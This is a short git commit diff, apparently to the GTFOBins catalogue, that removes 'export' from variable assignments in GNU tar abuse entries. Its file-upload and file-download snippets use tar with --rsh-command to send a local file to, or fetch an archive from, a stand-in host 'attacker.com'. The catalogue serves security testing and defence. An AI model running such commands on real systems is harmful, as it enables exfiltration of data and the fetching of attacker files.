Remove some useless instances of export

This commit is contained in:
Andrea Cardaci
2020-06-10 23:04:59 +02:00
parent 9aa7ec842e
commit 45308d4f58
6 changed files with 21 additions and 21 deletions

View File

@@ -14,17 +14,17 @@ functions:
file-upload:
- description: This only works for GNU tar. Create tar archive and send it via SSH to a remote location. The attacker box must have the `rmt` utility installed (it should be present by default in Debian-like distributions).
code: |
export RHOST=attacker.com
export RUSER=root
export RFILE=/tmp/file_to_send.tar
export LFILE=file_to_send
RHOST=attacker.com
RUSER=root
RFILE=/tmp/file_to_send.tar
LFILE=file_to_send
tar cvf $RUSER@$RHOST:$RFILE $LFILE --rsh-command=/bin/ssh
file-download:
- description: This only works for GNU tar. Download and extract a tar archive via SSH. The attacker box must have the `rmt` utility installed (it should be present by default in Debian-like distributions).
code: |
export RHOST=attacker.com
export RUSER=root
export RFILE=/tmp/file_to_get.tar
RHOST=attacker.com
RUSER=root
RFILE=/tmp/file_to_get.tar
tar xvf $RUSER@$RHOST:$RFILE --rsh-command=/bin/ssh
file-write:
- description: This only works for GNU tar.